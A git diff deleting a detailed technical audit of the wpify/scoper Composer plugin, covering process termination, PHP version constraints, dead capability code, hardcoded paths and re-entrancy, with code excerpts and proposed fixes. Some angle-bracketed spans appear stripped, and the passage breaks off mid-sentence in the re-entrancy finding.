b/docs/improvements/01-composer-plugin-api.md deleted file mode 100644 index b602448..0000000 --- a/docs/improvements/01-composer-plugin-api.md +++ /dev/null @@ -1,1174 +0,0 @@ -# wpify/scoper — Composer Plugin API audit - -**Scope:** `src/Plugin.php`, `bin/wpify-scoper`, `composer.json`, `README.md` -**Baseline:** Composer 2.10.2 (`vendor/composer/composer`), `PluginInterface::PLUGIN_API_VERSION = 2.9.0`, symfony/console v8.1.1 -**Date:** 2026-07-27 - -Every claim below was checked against the Composer source vendored in this repo (paths given), and the -headline finding (F1) was reproduced empirically. Where the audit brief's premise turned out to be wrong, -that is stated explicitly (F6, F11). - -## Summary - -| # | Finding | Severity | Effort | -|---|---|---|---| -| F1 | `runInstall()` terminates the whole PHP process (`exit()` via Symfony `autoExit`) | **Critical** | M | -| F2 | PHP requirement `^8.1` is unsatisfiable — php-scoper needs `^8.2` | **Critical** | S | -| F3 | `getCapabilities()` is dead code, and is a landmine if `Capable` is ever added | **High** | S | -| F4 | Pseudo-events + hand-rolled bootstrap instead of a real `BaseCommand` | **High** | M | -| F5 | `bin/wpify-scoper` hardcodes `__DIR__ . '/../../..'` as the vendor root | **High** | S | -| F6 | `$this->io` stored but never used; all output goes to a fresh `ConsoleOutput` | **High** | S | -| F7 | php-scoper phar located by hardcoded relative path, invoked without a PHP binary | **Medium** | S | -| F8 | `getcwd()` used as the project root instead of Composer's `Config` | **Medium** | M | -| F9 | Generated `composer-deps.json` embeds absolute host paths into a tracked file | **Medium** | M | -| F10 | Re-entrancy is only avoided by accident; global plugins do reload in the nested run | **Medium** | S | -| F11 | `composer.json` metadata for a `composer-plugin` | **Medium** | S | -| F12 | `exit` inside `createScoperConfig()`; `require_once` used to load a value-returning config | **Low** | S | -| F13 | Temp directory naming/placement/cleanup | **Low** | S | -| F14 | Silent no-op when `extra.wpify-scoper.prefix` is missing | **Low** | S | - ---- - -## F1 — `runInstall()` terminates the whole PHP process — **Critical / M** - -### What the code does now - -`src/Plugin.php:290-305`: - -```php -private function runInstall( string $path, string $command = 'install', bool $useDevDependencies = true ) { - $output = new ConsoleOutput(); - $application = new Application(); - - return $application->run( new ArrayInput( array( /* ... */ ) ), $output ); -} -``` - -A `Composer\Console\Application` is constructed and run **in-process**, from inside a -`POST_INSTALL_CMD` / `POST_UPDATE_CMD` listener. - -### Why it is wrong - -`Composer\Console\Application` extends `Symfony\Component\Console\Application`, which defaults to -`autoExit = true` (`vendor/symfony/console/Application.php:84`). At the end of `run()` -(`vendor/symfony/console/Application.php:266-271`): - -```php -if ($this->autoExit) { - if ($exitCode > 255) { $exitCode = 255; } - exit($exitCode); -} -return $exitCode; -``` - -**`run()` never returns.** Reproduced: - -``` -$ php -r 'require "vendor/autoload.php"; - $app = new Composer\Console\Application(); - $code = $app->run(new ArrayInput(["command"=>"about"]), new ConsoleOutput()); - echo "RETURNED-TO-CALLER code=$code\n";' -Composer - Dependency Manager for PHP - version 2.10.2 -Composer is a dependency manager tracking local dependencies of your projects and libraries. -See https://getcomposer.org/ for more information. -``` - -`RETURNED-TO-CALLER` is never printed. The `return` on `src/Plugin.php:294` is unreachable. - -Concrete consequences — the outer `composer install`/`update` is killed mid-flight at -`vendor/composer/composer/src/Composer/Installer.php:438-441`: - -1. **The security audit never runs.** `Installer.php:448-470` performs the vulnerability audit - *after* dispatching `POST_INSTALL_CMD`. With this plugin active and a prefix configured, - `composer install`/`composer update` silently skips auditing for every user. -2. **Every listener registered after this plugin is skipped** — other plugins' `POST_INSTALL_CMD` - handlers and the user's own `post-install-cmd` scripts. Listeners run in registration order - (all priorities are 0), so ordering is effectively arbitrary and users will see scripts that - "sometimes don't run". -3. **The outer exit code is replaced by the inner one.** A failing outer install that reached the - post-install stage would exit 0 if the nested install succeeded. -4. `gc_enable()` (`Installer.php:444-446`) and the normal `InstallCommand` return path are skipped. - -Two further problems in the same method, which matter the moment F1 is fixed: - -- **The exit code is discarded even in principle.** `execute()` (`src/Plugin.php:197`) ignores - `runInstall()`'s return value. A failed nested install would be reported as success. -- **CWD leaks on failure.** `Application::doRun()` chdirs into `--working-dir` - (`Console/Application.php:167-174`) and only chdirs back on the *success* path - (`Console/Application.php:461-464`); the `finally` block only calls `restore_error_handler()`. - An exception in the nested run leaves the outer process sitting in `tmp-xxxxxxxxxx/source`. -- **Shared process state.** `Composer::setRunningCommand()`, `ErrorHandler::register()`, - `Platform::putEnv('COMPOSER_CACHE_DIR')` (on `--no-cache`), the registered shutdown function, - and the already-loaded class table are all shared between outer and inner Composer. If the - scoped project's own plugins ship classes whose names collide with already-loaded ones, the - nested run fatals with "Cannot redeclare class". - -### Composer's own precedent - -Composer itself runs a nested `Application` in exactly one place — -`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:312-318` — and it -neutralises all of the above first: - -```php -$app = new Application(); -$app->setCatchExceptions(false); -if (method_exists($app, 'setCatchErrors')) { - $app->setCatchErrors(false); -} -$app->setAutoExit(false); -``` - -…and it reuses the current IO's output stream rather than creating a new one -(`EventDispatcher.php:330-340`). - -For re-invoking `composer` itself, Composer uses a **subprocess** -(`EventDispatcher.php:253`, `EventDispatcher.php:431`): - -```php -$exec = $this->getPhpExecCommand() . ' ' . ProcessExecutor::escape(Platform::getEnv('COMPOSER_BINARY')) . ' ' . $args; -``` - -`COMPOSER_BINARY` is set by `vendor/composer/composer/bin/composer:107`. - -### Fix - -**Recommended — separate process** (matches Composer's own idiom, gives full isolation, correct exit -code, and no state contamination): - -```php -private function runInstall( string $path, string $command = 'install', bool $useDev = true ): int { - $binary = Platform::getEnv( 'COMPOSER_BINARY' ); - $php = ( new PhpExecutableFinder() )->find( false ); - - $cmd = array_filter( array( - $php, $binary, $command, - '--working-dir=' . $path, - $useDev ? null : '--no-dev', - '--optimize-autoloader', - '--no-plugins', // see F10 - ) ); - - $exitCode = $this->composer->getLoop()->getProcessExecutor()->executeTty( $cmd, $path ); - - if ( 0 !== $exitCode ) { - throw new \RuntimeException( sprintf( 'wpify/scoper: nested composer %s failed with code %d', $command, $exitCode ) ); - } - - return $exitCode; -} -``` - -`ProcessExecutor::execute()`/`executeTty()` accept an array command -(`Util/ProcessExecutor.php:93,109`) and handle escaping. Fall back to -`PhpExecutableFinder` + a resolved `composer` path if `COMPOSER_BINARY` is unset (i.e. when the -plugin is driven from `bin/wpify-scoper` rather than from Composer itself). - -**Minimum viable fix** if the in-process design must be kept: - -```php -$application = new Application(); -$application->setAutoExit( false ); -$application->setCatchExceptions( false ); -if ( method_exists( $application, 'setCatchErrors' ) ) { - $application->setCatchErrors( false ); -} -$exitCode = $application->run( $input, $output ); -if ( 0 !== $exitCode ) { - throw new \RuntimeException( ... ); -} -``` - -### Benefit - -`composer install` completes normally: the audit runs, other plugins' and users' post-install -scripts run, and a failing dependency install is reported as a failure instead of being swallowed. - -### Downside / risk - -Subprocess spawning costs ~1 s of PHP bootstrap and loses the shared HTTP/cache warm state. Users -who currently rely on the outer install "ending" right after scoping (and therefore never noticing -that their own post-install scripts are skipped) will see those scripts start running — behaviour -change, though the previous behaviour was a bug. Throwing on non-zero will surface nested-install -failures that were previously invisible; expect bug reports that are actually pre-existing breakage. - ---- - -## F2 — PHP requirement `^8.1` is unsatisfiable — **Critical / S** - -### What the code does now - -`composer.json:31`: `"php": "^8.1"`, alongside `composer.json:34`: `"wpify/php-scoper": "^0.18"`. - -### Why it is wrong - -`vendor/wpify/php-scoper/composer.json` requires `"php": "^8.2"`. The bundled phar is -php-scoper 0.18.19 (`php vendor/wpify/php-scoper/bin/php-scoper.phar --version` → -`PhpScoper version 0.18.19 2026-03-02`), and upstream `humbug/php-scoper` at tag `0.18.19` also -requires `"php": "^8.2"`. The phar carries a hard runtime gate — its Box requirement checker -(`phar://…/.box/.requirements.php`) contains: - -```php -array ( 'type' => 'php', 'condition' => '^8.2', - 'message' => 'This application requires a PHP version matching "^8.2".' ) -``` - -So on PHP 8.1 the package is not installable at all (resolver rejects it), and even if it were, the -phar would refuse to run. The declared `^8.1` produces a confusing transitive-conflict error instead -of a clear "this package requires PHP 8.2". - -`README.md:15-18` repeats the same wrong claim (`wpify/scoper:3.2 → PHP >= 8.1`). - -### Supported-version analysis - -Per as of 2026-07-27: - -| Branch | Active support until | Security support until | Status today | -|---|---|---|---| -| 8.1 | — | 31 Dec 2025 | **EOL** | -| 8.2 | 31 Dec 2024 | 31 Dec 2026 | Security only | -| 8.3 | 31 Dec 2025 | 31 Dec 2027 | Security only | -| 8.4 | 31 Dec 2026 | 31 Dec 2028 | Active | -| 8.5 | 31 Dec 2027 | 31 Dec 2029 | Active | - -Intersection of "still supported" and "php-scoper 0.18 supports it" = **8.2, 8.3, 8.4, 8.5**. - -### Fix - -```json -"require": { - "php": "^8.2", - ... -} -``` - -`^8.2` resolves to `>=8.2 <9.0`, which covers 8.5. Update `README.md:15-18` to -`wpify/scoper:3.3 → PHP >= 8.2`. Plan a bump to `^8.3` after 2026-12-31 when 8.2 goes EOL. - -Note: `scripts/extract-symbols.php:45` pins the *parser* target to `PhpVersion::fromString("8.1.0")`. -That is the version the WordPress sources are parsed as, not the runtime requirement, so it is a -separate (defensible) choice — but it is worth a comment saying so, since it reads like a -contradiction next to an 8.2 floor. - -### Benefit - -Users on PHP 8.1 get an immediate, accurate error. Users reading the README get correct information. - -### Downside / risk - -None material — PHP 8.1 users cannot install today regardless. Publishing this as a patch release -would technically narrow the accepted range for already-resolved lock files; ship it with a minor -version bump. - ---- - -## F3 — `getCapabilities()` is dead code, and a landmine — **High / S** - -### What the code does now - -`src/Plugin.php:16`: - -```php -class Plugin implements PluginInterface, EventSubscriberInterface { -``` - -`src/Plugin.php:104-108`: - -```php -public function getCapabilities() { - return array( - CommandProvider::class => self::class, - ); -} -``` - -### Why it is wrong - -**It is never called.** `PluginManager::getCapabilityImplementationClassName()` -(`vendor/composer/composer/src/Composer/Plugin/PluginManager.php:611-616`) short-circuits: - -```php -protected function getCapabilityImplementationClassName(PluginInterface $plugin, string $capability): ?string -{ - if (!($plugin instanceof Capable)) { - return null; - } - ... -} -``` - -`Wpify\Scoper\Plugin` does not implement `Composer\Plugin\Capable`, so `getCapabilities()` is dead -code. The only consumer of the `CommandProvider` capability is -`Console/Application.php:795`, which is reached only through `getPluginCommands()`. - -**Worse: adding `Capable` naively would break Composer for every user.** The declared implementation -class is `self::class` = `Wpify\Scoper\Plugin`, which does **not** implement -`Composer\Plugin\Capability\CommandProvider` and has no `getCommands()` method. -`PluginManager::getPluginCapability()` (`PluginManager.php:644-660`) would then do: - -```php -$ctorArgs['plugin'] = $plugin; -$capabilityObj = new $capabilityClass($ctorArgs); // new Plugin([...]) — PHP allows this, no ctor - -if (!$capabilityObj instanceof Capability || !$capabilityObj instanceof $capabilityClassName) { - throw new \RuntimeException( - 'Class ' . $capabilityClass . ' must implement both Composer\Plugin\Capability\Capability and '. $capabilityClassName . '.' - ); -} -``` - -That `RuntimeException` would fire on every `composer list`, `composer help`, tab-completion, and any -unrecognised command (`Console/Application.php:255-266` — `$mayNeedPluginCommand`), for every user -of the plugin. - -### Fix - -Either delete `getCapabilities()` (`src/Plugin.php:104-108`) outright, or — preferably, in -combination with F4 — implement it correctly with a **separate** provider class: - -```php -// src/Plugin.php -use Composer\Plugin\Capable; - -class Plugin implements PluginInterface, Capable, EventSubscriberInterface { - public function getCapabilities() { - return array( - \Composer\Plugin\Capability\CommandProvider::class => \Wpify\Scoper\CommandProvider::class, - ); - } -} -``` - -```php -// src/CommandProvider.php -namespace Wpify\Scoper; - -class CommandProvider implements \Composer\Plugin\Capability\CommandProvider { - public function getCommands() { - return array( new ScoperCommand() ); // extends Composer\Command\BaseCommand - } -} -``` - -Note the provider's constructor receives a single array argument containing -`composer`, `io` and `plugin` keys (`Plugin/Capability/CommandProvider.php:17-21`, -`PluginManager.php:645-647`). - -### Benefit - -Removes dead code, removes a latent crash, and unlocks the `composer wpify-scoper …` UX in F4. - -### Downside / risk - -None for the delete-only variant. For the full variant, adding commands means Composer will now -instantiate them on `composer list` — keep the command constructor free of side effects. - ---- - -## F4 — Pseudo-events instead of a real command — **High / M** - -### What the code does now - -`src/Plugin.php:18-21` declares four fake event names: - -```php -public const SCOPER_INSTALL_CMD = 'scoper-install-cmd'; -public const SCOPER_INSTALL_NO_DEV_CMD = 'scoper-install-no-dev-cmd'; -public const SCOPER_UPDATE_CMD = 'scoper-update-cmd'; -public const SCOPER_UPDATE_NO_DEV_CMD = 'scoper-update-no-dev-cmd'; -``` - -`bin/wpify-scoper:32-45` bootstraps a whole Composer instance by hand and fabricates an event: - -```php -$factory = new Factory(); -$ioInterace = new NullIO(); -$composer = $factory->createComposer( $ioInterace ); -$fakeEvent = new Event( $command, $composer, $ioInterace ); - -$scoper = new Plugin(); -$scoper->activate( $composer, $ioInterace ); -$scoper->execute( $fakeEvent ); -``` - -`execute()` then string-matches those names back into real `ScriptEvents` constants -(`src/Plugin.php:159-165`, `181-195`). - -### Why it is wrong - -- The four constants are **not** events. They are never dispatched through - `Composer\EventDispatcher\EventDispatcher`; nothing else can subscribe to them; they exist purely - as a magic string channel between the bin script and one method. -- `new NullIO()` (`bin/wpify-scoper:34`) discards *all* Composer output — no progress, no warnings, - no auth prompts. A private-repository dependency in `composer-deps.json` will hang or fail with no - explanation. -- Calling `$scoper->activate()` manually bypasses `PluginManager`, so `config.allow-plugins`, - plugin-API version checks, and the runtime plugin autoloader - (`PluginManager::registerPackage()`, `PluginManager.php:169-330`) are all skipped. -- The two `--no-dev` variants (`SCOPER_INSTALL_NO_DEV_CMD`, `SCOPER_UPDATE_NO_DEV_CMD`) are - **unreachable** — `bin/wpify-scoper:13-21` only ever produces `SCOPER_INSTALL_CMD` or - `SCOPER_UPDATE_CMD`. There is no way for a user to get a `--no-dev` scoped install. Dead branches - at `src/Plugin.php:193-195` and `src/Plugin.php:163-165`. -- No `--help`, no `-v`, no `--no-interaction`, no argument validation. `bin/wpify-scoper:23-30` - prints usage and `exit`s with code **0** on bad input. -- `README.md:64` documents `composer wpify-scoper install`, which only works because the user is - told to add a `scripts` alias — a workaround for the missing real command. - -### The idiomatic Composer 2 way - -A `Composer\Command\BaseCommand` exposed through the `CommandProvider` capability (F3). -`BaseCommand` gives you `requireComposer()`, `tryComposer()`, `getIO()`, and full Symfony Console -argument/option/help handling for free, and Composer registers it automatically -(`Console/Application.php:790-800`) with correct `--working-dir`, `-v`, `--no-interaction` -and `--no-plugins` semantics. - -### Fix - -```php -namespace Wpify\Scoper; - -use Composer\Command\BaseCommand; -use Symfony\Component\Console\Input\InputArgument; -use Symfony\Component\Console\Input\InputInterface; -use Symfony\Component\Console\Input\InputOption; -use Symfony\Component\Console\Output\OutputInterface; - -class ScoperCommand extends BaseCommand { - protected function configure(): void { - $this->setName( 'wpify-scoper' ) - ->setDescription( 'Scope the dependencies declared in composer-deps.json' ) - ->addArgument( 'action', InputArgument::REQUIRED, 'install or update' ) - ->addOption( 'no-dev', null, InputOption::VALUE_NONE, 'Skip dev dependencies' ); - } - - protected function execute( InputInterface $input, OutputInterface $output ): int { - $composer = $this->requireComposer(); - $scoper = new Scoper( $composer, $this->getIO() ); // extracted from Plugin - - return $scoper->run( - $input->getArgument( 'action' ), - ! $input->getOption( 'no-dev' ) - ); - } -} -``` - -`bin/wpify-scoper` can then be dropped entirely (remove `composer.json:17-19`), or reduced to a thin -deprecation shim that prints "use `composer wpify-scoper …`". Keep `Plugin::execute()` for the -`POST_INSTALL_CMD`/`POST_UPDATE_CMD` autorun path, but have it delegate to the same `Scoper` class — -the string round-tripping at `src/Plugin.php:159-195` disappears. - -### Benefit - -`composer wpify-scoper install --no-dev -vv` works out of the box, with real help output, real -verbosity, correct exit codes, and Composer's own IO. The four pseudo-event constants and the manual -bootstrap both go away, and `--no-dev` becomes reachable. - -### Downside / risk - -BC break: `vendor/bin/wpify-scoper` disappears (or changes behaviour), and the four public constants -would be removed. CI pipelines and the `"scripts": {"wpify-scoper": "wpify-scoper"}` alias documented -in `README.md:44` need updating. Ship behind a major version, and keep the bin as a shim for one -release. Also: the command is only available when the plugin is allowed in `config.allow-plugins`, -which the README already instructs users to do. - ---- - -## F5 — `bin/wpify-scoper` hardcodes the vendor root — **High / S** - -### What the code does now - -`bin/wpify-scoper:9-10`: - -```php -$vendorRoot = __DIR__ . '/../../..'; -require_once $vendorRoot . '/autoload.php'; -``` - -### Why it is wrong - -`__DIR__` in PHP is the **resolved real path** of the containing directory — symlinks are already -followed. The `../../..` walk therefore only works when the file physically lives at -`/vendor/wpify/scoper/bin/`. - -| Scenario | `__DIR__` | `$vendorRoot . '/autoload.php'` | Result | -|---|---|---|---| -| Normal `composer require` | `/vendor/wpify/scoper/bin` | `/vendor/autoload.php` | works | -| `composer global require` | `$COMPOSER_HOME/vendor/wpify/scoper/bin` | `$COMPOSER_HOME/vendor/autoload.php` | loads the **global** autoloader, then `Factory::createComposer()` reads the *project* composer.json — mixed worlds | -| Path repo (symlinked, Composer's default) | `/packages/scoper/bin` | `/autoload.php` | **fatal**: `require_once(): Failed opening required` | -| Running from a clone of this repo | `/Users/…/projects/scoper/bin` | `/Users/autoload.php` | **fatal** | -| Custom `config.vendor-dir` | still `//wpify/scoper/bin` | `//autoload.php` | works (relative layout is preserved) | -| `--working-dir` | unaffected (`__DIR__` is absolute) | — | works | - -Composer has provided the correct mechanism since 2.2. Its generated bin proxies set two globals — -see the real proxy at `vendor/bin/php-scoper.phar:15-16` and the generator at -`vendor/composer/composer/src/Composer/Installer/BinaryInstaller.php:221,230`: - -```php -$GLOBALS['_composer_bin_dir'] = __DIR__; -$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/autoload.php'; -``` - -### Fix - -```php -#!/usr/bin/env php -io` is stored but never used — **High / S** - -### What the code does now - -`src/Plugin.php:24` declares `protected $io;`, `src/Plugin.php:53` assigns it — and it is never read -anywhere in the file. All output flows through `src/Plugin.php:291`: - -```php -$output = new ConsoleOutput(); -``` - -### Why it is wrong - -A freshly constructed `Symfony\Component\Console\Output\ConsoleOutput` has none of the outer run's -settings: - -- **`--quiet` is ignored.** The default verbosity is `VERBOSITY_NORMAL`; the nested composer prints - its full output even under `composer install -q`. -- **`-v` / `-vv` / `-vvv` are ignored** in the other direction — you cannot get debug output out of - the nested install. -- **`--no-ansi` / `--ansi` are ignored.** `ConsoleOutput` auto-detects colour from the stream. In CI - where the outer Composer was told `--no-ansi` but the stream still looks like a TTY, the nested - output carries ANSI escapes into the log. -- **`--no-interaction` is not propagated** as an output/IO concern, and `bin/wpify-scoper` passes a - `NullIO` (F4), so any auth prompt from the nested install has nowhere to go. -- Non-TTY CI: `ConsoleOutput` will decorate based on its own detection rather than the outer run's - resolved decision. - -Composer's own nested-application code deliberately reaches into the current IO to reuse its stream -(`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:330-340`): - -```php -if ($this->io instanceof ConsoleIO) { - $reflProp = new \ReflectionProperty($this->io, 'output'); - ... - $output = $reflProp->getValue($this->io); -} else { - $output = new ConsoleOutput(); -} -``` - -### Fix - -With the subprocess approach from F1, propagate the outer IO's state as flags: - -```php -$verbosity = null; -if ( $this->io->isDebug() ) { $verbosity = '-vvv'; } -elseif ( $this->io->isVeryVerbose() ) { $verbosity = '-vv'; } -elseif ( $this->io->isVerbose() ) { $verbosity = '-v'; } - -$cmd = array_filter( array( - $php, $binary, $command, - '--working-dir=' . $path, - $verbosity, - $this->io->isDecorated() ? '--ansi' : '--no-ansi', - $this->io->isInteractive() ? null : '--no-interaction', - ... -) ); -``` - -…and route all of the plugin's own messages through `$this->io->write()` / -`$this->io->writeError()` instead of `echo`/`ConsoleOutput`. `IOInterface` exposes -`isVerbose()`, `isVeryVerbose()`, `isDebug()`, `isDecorated()`, `isInteractive()` for exactly this. - -### Benefit - -`composer install -q` is quiet, CI logs are clean, and `-vvv` actually shows what the scoper is doing -— currently the only way to debug a scoping failure. - -### Downside / risk - -None. Output volume changes for users who relied on the nested install always being loud. - ---- - -## F7 — php-scoper phar located and invoked incorrectly — **Medium / S** - -### What the code does now - -`src/Plugin.php:167`: - -```php -$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); -``` - -`src/Plugin.php:169-173` then writes it into the generated `composer-deps.json` as a raw shell -command: - -```php -$composerJson->scripts->{$scriptName} = array( - $phpscoper . ' add-prefix --output-dir="' . $destination . '" --force --config="' . $scoperConfig . '"', - 'composer dump-autoload --working-dir="' . $destination . '" --optimize', - 'php "' . $postinstallPath . '"', -); -``` - -### Why it is wrong - -1. **Path assumption.** `__DIR__/../../php-scoper` assumes `wpify/scoper` and `wpify/php-scoper` - are siblings in the same vendor dir. True for a normal install; **false** for a symlinked path - repo, and false when running from a clone of this repo (`realpath()` then returns `false`, and - the generated command begins with a bare ` add-prefix …`, producing a baffling error). - Composer's runtime API gives the answer directly: - - ```php - \Composer\InstalledVersions::getInstallPath( 'wpify/php-scoper' ) . '/bin/php-scoper.phar' - ``` - - Verified working in this checkout (`vendor/composer/InstalledVersions.php:242`). -2. **No PHP binary.** The phar is invoked directly, relying on its `#!/usr/bin/env php` shebang - (confirmed via `Phar::getStub()`). That means (a) it runs under whatever `php` is first on - `PATH`, which may be a different version from the one running Composer — and the phar hard-fails - on anything below 8.2 (F2); (b) it requires the executable bit to have survived - installation; (c) **it cannot work on Windows**, where a shebang is meaningless. Composer solves - this with `getPhpExecCommand()` - (`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php` — - `PhpExecutableFinder` plus `-d memory_limit=…` etc.) or with the `@php` script prefix. -3. **Bare `composer`** on line 171 — same problem. Composer's own answer is - `Platform::getEnv('COMPOSER_BINARY')` (`EventDispatcher.php:253`) or the `@composer` script prefix. -4. **Manual quoting.** `'--output-dir="' . $destination . '"'` breaks on any path containing a - double quote, and the `"` quoting is not correct on Windows `cmd`. Use - `ProcessExecutor::escape()`. - -### Fix - -```php -$phpscoper = \Composer\InstalledVersions::getInstallPath( 'wpify/php-scoper' ) . '/bin/php-scoper.phar'; - -$composerJson->scripts->{$scriptName} = array( - '@php ' . ProcessExecutor::escape( $phpscoper ) - . ' add-prefix --force' - . ' --output-dir=' . ProcessExecutor::escape( $destination ) - . ' --config=' . ProcessExecutor::escape( $scoperConfig ), - '@composer dump-autoload --working-dir=' . ProcessExecutor::escape( $destination ) . ' --optimize', - '@php ' . ProcessExecutor::escape( $postinstallPath ), -); -``` - -`@php` and `@composer` are resolved by Composer's `EventDispatcher` to the current PHP binary and the -current Composer binary respectively (`EventDispatcher.php:253`, `EventDispatcher.php:431`), which is -exactly the guarantee needed here. - -### Benefit - -Correct PHP binary (matching the resolver's platform config), correct Composer binary, Windows -support, and paths with spaces/quotes stop breaking. - -### Downside / risk - -`@php` inherits Composer's memory/ini flags, which changes the phar's effective `memory_limit` — -usually an improvement (scoping WordPress is memory-hungry), but worth verifying on a large project. - ---- - -## F8 — `getcwd()` used as the project root — **Medium / M** - -### What the code does now - -`getcwd()` appears at `src/Plugin.php:57`, `58`, `66`, `87`, `134`, `135`, `141`, `151`, `177`, `178` -and `275`, defining the deps folder, temp folder, `composer-deps.json` location, and the -`%%cwd%%` token baked into `postinstall.php`. - -### Why it is (partly) wrong — and where the brief's premise does not hold - -**`--working-dir` is *not* actually broken.** `Application::doRun()` chdirs into the target -directory at `vendor/composer/composer/src/Composer/Console/Application.php:167-174`, well before -`Factory::createComposer()` and before any plugin is activated. So during `activate()`, -`getcwd()` genuinely is the working directory. Same for the `use-parent-dir` fallback -(`Console/Application.php:213-217`) and for `composer global …`, which chdirs to `$COMPOSER_HOME` -(`Command/GlobalCommand.php:148`). The current code works in all of those. - -The real breakages are narrower but real: - -1. **`COMPOSER` env var.** `Factory::getComposerFile()` (`Factory.php:224-238`) honours - `COMPOSER=/path/to/other.json`, and `Factory::createComposer()` then sets the project root from - `dirname($localConfig)` (`Factory.php:285`), *not* from the cwd. With - `COMPOSER=../other/composer.json composer install`, the plugin writes `deps/`, the temp dir, and - `composer-deps.json` into the wrong directory. -2. **Custom `config.vendor-dir`** is never consulted; the plugin has no notion of it (F7 works - around it by accident because the relative layout is preserved). -3. **Brittleness / implicit coupling.** Nothing documents that `getcwd()` must equal the project - root. Any future in-process embedding (including this plugin's own `bin/wpify-scoper`, which does - not chdir) is silently wrong. -4. `createPath()` (`src/Plugin.php:268-276`) uses a **string heuristic** to decide whether it is - running as an installed package: - - ```php - $vendor = strpos( dirname( __DIR__ ), 'vendor' . DIRECTORY_SEPARATOR . 'wpify' . DIRECTORY_SEPARATOR . 'scoper' ); - ``` - - With a symlinked path repo, `dirname(__DIR__)` is the real source path, the heuristic returns - `false`, and `scoper.custom.php` is looked up inside the plugin directory instead of the project - root — **user customisations silently stop being applied**, with no warning. - -### Fix - -Resolve the root once in `activate()` from Composer's own config and drop every `getcwd()`: - -```php -public function activate( Composer $composer, IOInterface $io ) { - $this->composer = $composer; - $this->io = $io; - $this->rootDir = dirname( $composer->getConfig()->getConfigSource()->getName() ); - ... -} -``` - -`getConfigSource()->getName()` returns the absolute path to the active `composer.json` — verified in -this checkout it returns `/Users/wpify/projects/scoper/composer.json`. Use -`$composer->getConfig()->get('vendor-dir')` where the vendor dir is needed. - -Replace `createPath()`'s heuristic with an explicit check for the file in `$this->rootDir`, and -`$io->warning()` when a `scoper.custom.php` is found in an unexpected place. - -### Benefit - -Correct under `COMPOSER=`, correct for symlinked path repos, and the coupling to process cwd -becomes explicit and testable. - -### Downside / risk - -If any user currently relies on running Composer from a subdirectory with `use-parent-dir` *and* -expects `deps/` in the subdirectory, that changes. Unlikely, but call it out in the changelog. - ---- - -## F9 — Generated `composer-deps.json` embeds absolute host paths — **Medium / M** - -### What the code does now - -`src/Plugin.php:169-175` mutates the user's **tracked, hand-maintained** `composer-deps.json` (or -creates it, `src/Plugin.php:136-142`) and writes a `scripts` block full of absolute host paths: - -```json -"scripts": { - "post-install-cmd": [ - "/Users/me/project/vendor/wpify/php-scoper/bin/php-scoper.phar add-prefix --output-dir=\"/Users/me/project/tmp-a3f9c1e2b0/destination\" --force --config=\"/Users/me/project/tmp-a3f9c1e2b0/scoper.inc.php\"", - "composer dump-autoload --working-dir=\"/Users/me/project/tmp-a3f9c1e2b0/destination\" --optimize", - "php \"/Users/me/project/tmp-a3f9c1e2b0/postinstall.php\"" - ] -} -``` - -The `tmp-` segment is regenerated on every run (`src/Plugin.php:58`). - -### Why it is wrong - -- **Every run produces a diff.** The random temp directory name changes each time, so - `composer-deps.json` is dirty after every `composer install`. Committed, it is pure noise; - gitignored, it is not reproducible. -- **Not portable.** A `composer-deps.json` committed from a developer's Mac contains - `/Users/me/...` and is meaningless in CI or on another machine. The next run overwrites it, so it - "works", but the file in git is a lie. -- **`composer-deps.lock` is derived from it** (`src/Plugin.php:177-179`, `scripts/postinstall.php:57-58`), - so the lock's `content-hash` churns for reasons unrelated to the dependency set. -- **User data loss risk.** If a user legitimately defines `post-install-cmd` in their - `composer-deps.json`, `src/Plugin.php:169` overwrites it wholesale — no merge, no warning. -- The file is a *user-owned config file* being used as an internal scratch buffer. That is the - category error at the root of all of the above. - -### Fix - -Keep `composer-deps.json` read-only. Write the *derived* manifest into the temp directory and run -Composer against that: - -```php -$generated = $this->path( $source, 'composer.json' ); // already the case (src/Plugin.php:131) -``` - -…then drop the `scripts` injection entirely and drive the three steps directly from PHP after the -nested install returns (F1 already turns this into an ordinary sequential flow): - -```php -$this->runInstall( $source, $command, $useDev ); // 1. resolve + install -$this->runScoper( $scoperConfig, $destination ); // 2. php-scoper add-prefix -$this->runDumpAutoload( $destination ); // 3. composer dump-autoload -$this->runPostInstall( ... ); // 4. fixups + move into place -``` - -That also removes the need for the token-substituted `scripts/postinstall.php` template -(`src/Plugin.php:148-157`) — it can become a plain class with typed parameters. - -If the `scripts` mechanism must be kept for now, at minimum: (a) write the scripts only into the -copy at `$source/composer.json`, never back into the user's `composer-deps.json`; and (b) use a -**stable** temp directory (`$rootDir . '/.wpify-scoper'`) so nothing churns. - -### Benefit - -`composer-deps.json` becomes a stable, committable, machine-independent file. No user script is -clobbered. Reproducible builds. - -### Downside / risk - -Medium refactor touching the whole pipeline. Users who (accidentally) depended on the injected -scripts running inside the nested Composer's environment — e.g. platform config from -`composer-deps.json`'s `config.platform`, which the README explicitly recommends at -`README.md:32-33` — must be checked: the scoper step is currently run *by* the nested Composer and -would now run in the outer process. Preserve the platform-php semantics explicitly. - ---- - -## F10 — Re-entrancy is avoided only by accident — **Medium / S** - -### What the code does now - -`src/Plugin.php:44-49` subscribes to `POST_INSTALL_CMD` and `POST_UPDATE_CMD`; the handler -(`src/Plugin.php:197`) runs a nested `install`/`update`, which will itself dispatch -`POST_INSTALL_CMD`/`POST_UPDATE_CMD`. - -### Why it is a latent problem - -Plugins in the nested run are loaded from two places -(`vendor/composer/composer/src/Composer/Plugin/PluginManager.php:104-111`): - -```php -$this->loadRepository($repo, false, $this->composer->getPackage()); // local vendor of the nested project - -if ($this->globalComposer !== null && !$this->arePluginsDisabled('global')) { - $this->loadRepository($this->globalComposer->getRepositoryManager()->getLocalRepository(), true); -} -``` - -The generated `$source/composer.json` does not require `wpify/scoper`, so it is not loaded locally. -But `README.md:22` and both CI recipes (`README.md:88-93`, `README.md:118-119`) tell users to -`composer global require wpify/scoper` — and global plugins **are** loaded in the nested run. - -Recursion is currently broken only because `execute()` bails when `$this->prefix` is empty -(`src/Plugin.php:127`), and the generated `$source/composer.json` has no -`extra.wpify-scoper.prefix`. That is a coincidence, not a guard: - -- A user who copies their `extra` block into `composer-deps.json` (a very natural thing to do — the - README describes it at `README.md:23-25` as having "exactly same structure like composer.json") - gets **unbounded recursion**: each level creates a new 